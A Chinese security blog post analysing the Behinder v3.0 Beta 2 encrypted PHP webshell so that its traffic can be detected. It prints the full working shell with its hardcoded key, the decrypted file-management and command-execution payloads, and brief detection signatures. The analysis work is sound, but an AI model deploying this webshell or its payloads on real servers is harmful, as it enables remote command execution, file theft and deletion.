前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >冰蝎v3.0 Beta 2(Behinder_v3.0 Beta 2)Webshell分析与检测

冰蝎v3.0 Beta 2(Behinder_v3.0 Beta 2)Webshell分析与检测

作者头像
用户1423082
发布2024-12-31 20:13:05
发布2024-12-31 20:13:05
6900
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

最近特殊时期开始的第一天(20200817),冰蝎的github项目就放出了加密Webshell管理的神器——冰蝎v3.0 Beta 1和2,给检测带来了更大的困难,普通的匹配字符串特征的检测已几乎不可能,下面简单分析一下。

这次最大的变化是去除了动态密钥协商机制,采用预共享密钥,全程无明文交互,密码的md5的前16位就是密钥

注:本文只针对当前的最新版冰蝎(Behinder) v3.0 Beta 2,并以PHP WebShell为例,其他的asp,jsp的也是类似的

实验环境

控制端:win10 + Behinder_v3.0 Beta 2 服务端:Ubuntu 16.04 + Apache + PHP 7.0.33

以shell.php为例的Webshell文件分析

代码语言:javascript
代码运行次数:0
复制
<?php
@error_reporting(0);
session_start();

if ($_SERVER['REQUEST_METHOD'] === 'POST')
{
    $key="e45e329feb5d925b";
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");

		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15];
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
}
?>

可以看到,相比冰蝎(Behinder) v2.0.1,去除了动态密钥协商机制,直接写死了key,一个16位的key,这个key是密码的md5得来的。—— 冰蝎(Behinder) v2.0.1的分析可以参考: https://www.giantbranch.cn/2019/10/08/%E5%86%B0%E8%9D%8E%E5%8A%A8%E6%80%81%E4%BA%8C%E8%BF%9B%E5%88%B6%E5%8A%A0%E5%AF%86WebShell%E7%9A%84%E6%A3%80%E6%B5%8B/

代码语言:javascript
代码运行次数:0
复制
substr(md5(rebeyond)),0,16) == "e45e329feb5d925b"

所以现在的通信示意图变成下面这样,直接用预设密钥进行加密通信

流量分析

通过抓取攻击流量,发现流量都是aes的加密结果

代码流程分析

注:通过在webshell中输出传输的明文,再base64解密即可获得下面列出的代码

首次连接

下面是点击打开webshell后,共执行了4个代码,后面两个是一样的,实际就算他3个吧

下面是第一个代码

代码语言:javascript
代码运行次数:0
复制
@error_reporting(0);
function main($content)
{
	$result = array();
	$result["status"] = base64_encode("success");
    $result["msg"] = base64_encode($content);
    $key = $_SESSION['k'];
    echo encrypt(json_encode($result),$key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$content="2712cbef-2652-4eee-89b7-9a19d5aa7aaf";
main($content);

可以看到传递给服务器的是一个类似UUID的字符串,之后在main中组装成数组后转为json,再使用AES进行加密(没有openssl才使用异或加密) ,最后输出出来,这一步的目的应该是看看服务器的加密结果是否与加密结果一样,这样既可以检测是否是冰蝎webshell,也可以检测webshell的密码是否正确

注意$content,即类似UUID的字符串(没意外就是UUID),是会变的,但是长度不变,也就是请求包的长度不变,加密后的结果的长度也是固定的,所以返回包的内容的长度也是固定的(php的http响应)

所以特征很明显:

1、第一个请求包的特征为 Content-Length: 1112 (这个长度是php的,jsp的是8940,aspx是7232,v3.0 Beta 2的asp版本的功能还是老版本的,所以asp版本暂无)

2、Header存在Pragma: no-cache

下面看第二个代码

代码语言:javascript
代码运行次数:0
复制
error_reporting(0);
function main() {
    ob_start(); phpinfo(); $info = ob_get_contents(); ob_end_clean();
    $driveList ="";
    if (stristr(PHP_OS,"windows")||stristr(PHP_OS,"winnt"))
    {
        for($i=65;$i<=90;$i++)
    	{
    		$drive=chr($i).':/';
    		file_exists($drive) ? $driveList=$driveList.$drive.";":'';
    	}
    }
	else
	{
		$driveList="/";
	}
    $currentPath=getcwd();
    //echo "phpinfo=".$info."\n"."currentPath=".$currentPath."\n"."driveList=".$driveList;
    $osInfo=PHP_OS;
    $result=array("basicInfo"=>base64_encode($info),"driveList"=>base64_encode($driveList),"currentPath"=>base64_encode($currentPath),"osInfo"=>base64_encode($osInfo));
    //echo json_encode($result);
    session_start();
    $key=$_SESSION['k'];
    //echo json_encode($result);
    //echo openssl_encrypt(json_encode($result), "AES128", $key);
    echo encrypt(json_encode($result), $key);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}
main();

可以看到第二个代码获取了以下几个信息: 1、phpinfo的输出 2、driveList,windows就是看看有哪些磁盘,linux直接返回”/“ 3、当前的路径 4、通过环境变量PHP_OS获取系统是windows还是linux什么的

最后看下最后一个代码

代码语言:javascript
代码运行次数:0
复制

error_reporting(0);
header('Content-Type: text/html; charset=UTF-8');

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function getgbkStr($str){
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    if($s1 == $str){
        return $s1;
    }else{
        return iconv('utf-8','gbk//IGNORE',$str);
    }
}
function delDir($dir)
{
    $files = array_diff(scandir($dir), array(
        '.',
        '..'
    ));
    foreach ($files as $file) {
        (is_dir("$dir/$file")) ? delTree("$dir/$file") : unlink("$dir/$file");
    }
    return rmdir($dir);
}

function main($mode, $path = ".", $content = "", $charset = "",$newpath)
{
	$path=getgbkStr($path);
    $result = array();
    if ($path == ".")
        $path = getcwd();
    switch ($mode) {
        case "list":
            $allFiles = scandir($path);
            $objArr = array();
            foreach ($allFiles as $fileName) {
                $fullPath = $path . $fileName;
                if (!function_exists("mb_convert_encoding"))
                {
                  $fileName=getSafeStr($fileName);
                }
                else
                {
                	$fileName=mb_convert_encoding($fileName, 'UTF-8', mb_detect_encoding($fileName, "UTF-8,GBK"));
                }
                $obj = array(
                    "name" => base64_encode($fileName),
                    "size" => base64_encode(filesize($fullPath)),
                    "lastModified" => base64_encode(date("Y-m-d H:i:s", filemtime($fullPath)))
                );
                $obj["perm"] = is_readable($fullPath) . "," . is_writable($fullPath) . "," . is_executable($fullPath);
                if (is_file($fullPath)) {
                    $obj["type"] = base64_encode("file");
                } else {
                    $obj["type"] = base64_encode("directory");
                }
                array_push($objArr, $obj);
            }
            $result["status"] = base64_encode("success");
            $result["msg"] = base64_encode(json_encode($objArr));
            echo encrypt(json_encode($result), $_SESSION['k']);
            break;
        case "show":
            $contents = file_get_contents($path);               
            $result["status"] = base64_encode("success");
            if (function_exists("mb_convert_encoding"))
            {
                if ($charset=="")
                {
                    $charset = mb_detect_encoding($contents, array(
                        'GB2312',
                        'GBK',
                        'UTF-16',
                        'UCS-2',
                        'UTF-8',
                        'BIG5',
                        'ASCII'
                    ));
                }
                $result["msg"] = base64_encode(mb_convert_encoding($contents, "UTF-8", $charset));
            }
            else
            {
                if ($charset=="")
                {
                    $result["msg"] = base64_encode(getSafeStr($contents));
                }
                else
                {
                    $result["msg"] = base64_encode(iconv($charset, 'utf-8//IGNORE', $contents));
                }
                
            }
            $result = encrypt(json_encode($result),$_SESSION['k']);
            echo $result;
            break;
        case "download":
            if (! file_exists($path)) {
                header('HTTP/1.1 404 NOT FOUND');
            } else {
                $file = fopen($path, "rb");
                echo fread($file, filesize($path));
                fclose($file);
            }
            break;
        case "delete":
            if (is_file($path)) {
                if (unlink($path)) {
                    $result["status"] = base64_encode("success");
                    $result["msg"] = base64_encode($path . "删除成功");
                } else {
                    $result["status"] = base64_encode("fail");
                    $result["msg"] = base64_encode($path . "删除失败");
                }
            }
            if (is_dir($path)) {
                delDir($path);
                $result["status"] = base64_encode("success");
                $result["msg"] = base64_encode($path."删除成功");
            }
            echo encrypt(json_encode($result),$_SESSION['k']);
            break;
        case "create":
            $file = fopen($path, "w");
            $content = base64_decode($content);
            fwrite($file, $content);
            fflush($file);
            fclose($file);
            if (file_exists($path) && filesize($path) == strlen($content)) {
                $result["status"] = base64_encode("success");
                $result["msg"] = base64_encode($path . "上传完成,远程文件大尿:" . $path . filesize($path));
            } else {
                $result["status"] = base64_encode("fail");
                $result["msg"] = base64_encode($path . "上传失败");
            }
            echo encrypt(json_encode($result), $_SESSION['k']);
            break;
        case "append":
            $file = fopen($path, "a+");
            $content = base64_decode($content);
            fwrite($file, $content);
            fclose($file);
            $result["status"] = base64_encode("success");
            $result["msg"] = base64_encode($path . "追加完成,远程文件大尿:" . $path . filesize($path));
            echo encrypt(json_encode($result),$_SESSION['k']);
            break;
        case "rename":
            if (rename($path,$newpath)) {
                $result["status"] = base64_encode("success");
                $result["msg"] = base64_encode("重命名完房:" . $newpath);
            } else {
                $result["status"] = base64_encode("fail");
                $result["msg"] = base64_encode($path . "重命名失贿");
            }
            echo encrypt(json_encode($result), $_SESSION['k']);
            break;
        default:
            break;
    }
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$mode="list";$path="\var\www\html\Behinder_v3.0/";
main($mode,$path);

最后这两次代码是列出当前路径的文件

可以看到这个代码有以下功能: 1、列目录 2、获取文件内容 3、下载文件 4、删除文件 5、写入文件 6、向文件追加内容 7、重命名文件

命令执行

以id命令为例,可以看到跟v2.0是一样的,尝试用各种php执行命令的函数执行命令

代码语言:javascript
代码运行次数:0
复制
@error_reporting(0);

function getSafeStr($str){
    $s1 = iconv('utf-8','gbk//IGNORE',$str);
    $s0 = iconv('gbk','utf-8//IGNORE',$s1);
    if($s0 == $str){
        return $s0;
    }else{
        return iconv('gbk','utf-8//IGNORE',$str);
    }
}
function main($cmd)
{
    @set_time_limit(0);
    @ignore_user_abort(1);
    @ini_set('max_execution_time', 0);
    $result = array();
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    $c = $cmd;
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $c = $c . " 2>&1\n";
    }
    $JueQDBH = 'is_callable';
    $Bvce = 'in_array';
    if ($JueQDBH('system') and ! $Bvce('system', $PadtJn)) {
        ob_start();
        system($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('proc_open') and ! $Bvce('proc_open', $PadtJn)) {
        $handle = proc_open($c, array(
            array(
                'pipe',
                'r'
            ),
            array(
                'pipe',
                'w'
            ),
            array(
                'pipe',
                'w'
            )
        ), $pipes);
        $kWJW = NULL;
        while (! feof($pipes[1])) {
            $kWJW .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if ($JueQDBH('passthru') and ! $Bvce('passthru', $PadtJn)) {
        ob_start();
        passthru($c);
        $kWJW = ob_get_contents();
        ob_end_clean();
    } else if ($JueQDBH('shell_exec') and ! $Bvce('shell_exec', $PadtJn)) {
        $kWJW = shell_exec($c);
    } else if ($JueQDBH('exec') and ! $Bvce('exec', $PadtJn)) {
        $kWJW = array();
        exec($c, $kWJW);
        $kWJW = join(chr(10), $kWJW) . chr(10);
    } else if ($JueQDBH('exec') and ! $Bvce('popen', $PadtJn)) {
        $fp = popen($c, 'r');
        $kWJW = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $kWJW .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        $kWJW = 0;
        $result["status"] = base64_encode("fail");
        $result["msg"] = base64_encode("none of proc_open/passthru/shell_exec/exec/exec is available");
        $key = $_SESSION['k'];
        echo encrypt(json_encode($result), $key);
        return;
        
    }
    $result["status"] = base64_encode("success");
    $result["msg"] = base64_encode(getSafeStr($kWJW));
    echo encrypt(json_encode($result),  $_SESSION['k']);
}

function encrypt($data,$key)
{
	if(!extension_loaded('openssl'))
    	{
    		for($i=0;$i<strlen($data);$i++) {
    			 $data[$i] = $data[$i]^$key[$i+1&15]; 
    			}
			return $data;
    	}
    else
    	{
    		return openssl_encrypt($data, "AES128", $key);
    	}
}$cmd="id";
main($cmd);
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-08-17,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 实验环境
  • 以shell.php为例的Webshell文件分析
  • 流量分析
  • 代码流程分析
    • 首次连接
    • 命令执行
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档